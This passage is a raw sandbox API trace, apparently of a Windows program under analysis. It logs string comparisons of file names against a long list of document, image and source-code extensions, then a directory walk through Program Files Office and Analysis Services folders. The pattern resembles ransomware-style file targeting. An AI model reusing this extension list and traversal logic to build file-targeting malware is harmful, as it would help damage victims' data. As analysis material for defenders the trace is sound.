[0049.711] lstrlenW (lpString=".cdr") returned 4 [0049.711] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".cer") returned 4 [0049.711] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".cf") returned 3 [0049.712] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0049.712] lstrlenW (lpString=".cfc") returned 4 [0049.712] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".cfm") returned 4 [0049.712] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".cfml") returned 5 [0049.712] lstrcmpiW (lpString1=".cfml", lpString2="s.jpg") returned -1 [0049.712] lstrlenW (lpString=".cfu") returned 4 [0049.712] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".chm") returned 4 [0049.712] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".cin") returned 4 [0049.712] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".class") returned 6 [0049.712] lstrcmpiW (lpString1=".class", lpString2="rs.jpg") returned -1 [0049.712] lstrlenW (lpString=".clx") returned 4 [0049.712] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".config") returned 7 [0049.712] lstrcmpiW (lpString1=".config", lpString2="ars.jpg") returned -1 [0049.712] lstrlenW (lpString=".cpp") returned 4 [0049.712] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0049.712] lstrlenW (lpString=".cr2") returned 4 [0049.713] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".crt") returned 4 [0049.713] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".crw") returned 4 [0049.713] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".cs") returned 3 [0049.713] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0049.713] lstrlenW (lpString=".css") returned 4 [0049.713] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".csv") returned 4 [0049.713] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".cub") returned 4 [0049.713] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".dae") returned 4 [0049.713] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".dat") returned 4 [0049.713] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".db") returned 3 [0049.713] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0049.713] lstrlenW (lpString=".dbf") returned 4 [0049.713] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0049.713] lstrlenW (lpString=".dbx") returned 4 [0049.714] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".dc3") returned 4 [0049.714] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".dcm") returned 4 [0049.714] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".dcr") returned 4 [0049.714] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".der") returned 4 [0049.714] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".dib") returned 4 [0049.714] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".dic") returned 4 [0049.714] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".dif") returned 4 [0049.714] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".divx") returned 5 [0049.714] lstrcmpiW (lpString1=".divx", lpString2="s.jpg") returned -1 [0049.714] lstrlenW (lpString=".djvu") returned 5 [0049.714] lstrcmpiW (lpString1=".djvu", lpString2="s.jpg") returned -1 [0049.714] lstrlenW (lpString=".dng") returned 4 [0049.714] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0049.714] lstrlenW (lpString=".doc") returned 4 [0049.715] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0049.715] lstrlenW (lpString=".docm") returned 5 [0049.715] lstrcmpiW (lpString1=".docm", lpString2="s.jpg") returned -1 [0049.715] lstrlenW (lpString=".docx") returned 5 [0049.715] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0049.715] lstrlenW (lpString=".dot") returned 4 [0049.715] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0049.715] lstrlenW (lpString=".dotm") returned 5 [0049.715] lstrcmpiW (lpString1=".dotm", lpString2="s.jpg") returned -1 [0049.715] lstrlenW (lpString=".dotx") returned 5 [0049.715] lstrcmpiW (lpString1=".dotx", lpString2="s.jpg") returned -1 [0049.715] lstrlenW (lpString=".dpx") returned 4 [0049.715] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0049.715] lstrlenW (lpString=".dqy") returned 4 [0049.715] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0049.715] lstrlenW (lpString=".dsn") returned 4 [0049.715] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0049.715] lstrlenW (lpString=".dt") returned 3 [0049.715] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0049.715] lstrlenW (lpString=".dtd") returned 4 [0049.715] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0049.716] lstrlenW (lpString=".dwg") returned 4 [0049.716] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0049.717] lstrlenW (lpString=".dwt") returned 4 [0049.717] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0049.717] lstrlenW (lpString=".dx") returned 3 [0049.717] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0049.717] lstrlenW (lpString=".dxf") returned 4 [0049.717] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".edml") returned 5 [0049.718] lstrcmpiW (lpString1=".edml", lpString2="s.jpg") returned -1 [0049.718] lstrlenW (lpString=".efd") returned 4 [0049.718] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".elf") returned 4 [0049.718] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".emf") returned 4 [0049.718] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".emz") returned 4 [0049.718] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".epf") returned 4 [0049.718] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".eps") returned 4 [0049.718] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".epsf") returned 5 [0049.718] lstrcmpiW (lpString1=".epsf", lpString2="s.jpg") returned -1 [0049.718] lstrlenW (lpString=".epsp") returned 5 [0049.718] lstrcmpiW (lpString1=".epsp", lpString2="s.jpg") returned -1 [0049.718] lstrlenW (lpString=".erf") returned 4 [0049.718] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0049.718] lstrlenW (lpString=".exr") returned 4 [0049.718] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".f4v") returned 4 [0049.719] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".fido") returned 5 [0049.719] lstrcmpiW (lpString1=".fido", lpString2="s.jpg") returned -1 [0049.719] lstrlenW (lpString=".flm") returned 4 [0049.719] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".flv") returned 4 [0049.719] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".frm") returned 4 [0049.719] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".fxg") returned 4 [0049.719] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".geo") returned 4 [0049.719] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".gif") returned 4 [0049.719] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".grs") returned 4 [0049.719] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0049.719] lstrlenW (lpString=".gz") returned 3 [0049.719] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0049.720] lstrlenW (lpString=".h") returned 2 [0049.720] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0049.720] lstrlenW (lpString=".hdr") returned 4 [0049.720] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".hpp") returned 4 [0049.720] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".hta") returned 4 [0049.720] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".htc") returned 4 [0049.720] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".htm") returned 4 [0049.720] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".html") returned 5 [0049.720] lstrcmpiW (lpString1=".html", lpString2="s.jpg") returned -1 [0049.720] lstrlenW (lpString=".icb") returned 4 [0049.720] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".ics") returned 4 [0049.720] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".iff") returned 4 [0049.720] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0049.720] lstrlenW (lpString=".inc") returned 4 [0049.720] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0049.721] lstrlenW (lpString=".indd") returned 5 [0049.721] lstrcmpiW (lpString1=".indd", lpString2="s.jpg") returned -1 [0049.721] lstrlenW (lpString=".ini") returned 4 [0049.721] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0050.684] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.685] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.685] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0050.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f95890 | out: hHeap=0x5c0000) returned 1 [0050.685] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0050.685] FindClose (in: hFindFile=0x6b44a8 | out: hFindFile=0x6b44a8) returned 1 [0050.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f65878 | out: hHeap=0x5c0000) returned 1 [0050.685] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0053.858] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0053.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0053.859] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0053.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0053.860] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.860] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0053.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4528 [0053.934] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.935] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0053.935] FindClose (in: hFindFile=0x6b4528 | out: hFindFile=0x6b4528) returned 1 [0053.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0053.935] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0053.935] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0053.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f24870 | out: hHeap=0x5c0000) returned 1 [0053.935] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0053.936] FindClose (in: hFindFile=0x6b44a8 | out: hFindFile=0x6b44a8) returned 1 [0053.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0053.936] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0053.936] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0053.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ed3848 | out: hHeap=0x5c0000) returned 1 [0053.936] FindNextFileW (in: hFindFile=0x6b42a8, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0053.936] FindClose (in: hFindFile=0x6b42a8 | out: hFindFile=0x6b42a8) returned 1 [0053.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ea0048 | out: hHeap=0x5c0000) returned 1 [0054.016] FindNextFileW (in: hFindFile=0x6b42e8, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa1fc3250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1fc3250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0057.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44a8 [0057.799] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.800] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0057.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b43e8 [0057.804] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.805] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0057.805] FindClose (in: hFindFile=0x6b43e8 | out: hFindFile=0x6b43e8) returned 1 [0057.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f14868 | out: hHeap=0x5c0000) returned 1 [0057.805] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0057.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b43e8 [0057.809] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.809] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0057.809] FindClose (in: 